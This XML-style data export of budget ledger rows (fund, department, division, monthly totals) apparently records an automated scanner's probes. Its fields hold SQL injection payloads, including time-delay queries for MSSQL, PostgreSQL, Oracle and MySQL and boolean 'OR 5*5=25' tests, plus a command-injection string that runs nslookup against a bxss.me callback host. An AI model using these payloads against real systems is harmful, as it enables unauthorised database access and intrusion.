<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1dMAzW0PX'; waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>expr 9000820890 - 977331</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1 OR 678=(SELECT 678 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1) OR 341=(SELECT 341 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1����%2527%2522\'\"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>@@wPafr</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891 from DUAL)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select 198766*667891 from DUAL)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUBLwzjTTQ</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;nslookup -q=cname hiteyttdqrvgb8a520.bxss.me&amp;'\"`0&amp;nslookup -q=cname hiteyttdqrvgb8a520.bxss.me&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU8mw3wLvr'; waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUfgUIPiJz') OR 66=(SELECT 66 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941022JPHzQlF</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=25</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020"XOR(94102*if(now()=sysdate(),sleep(15),0))XOR"Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
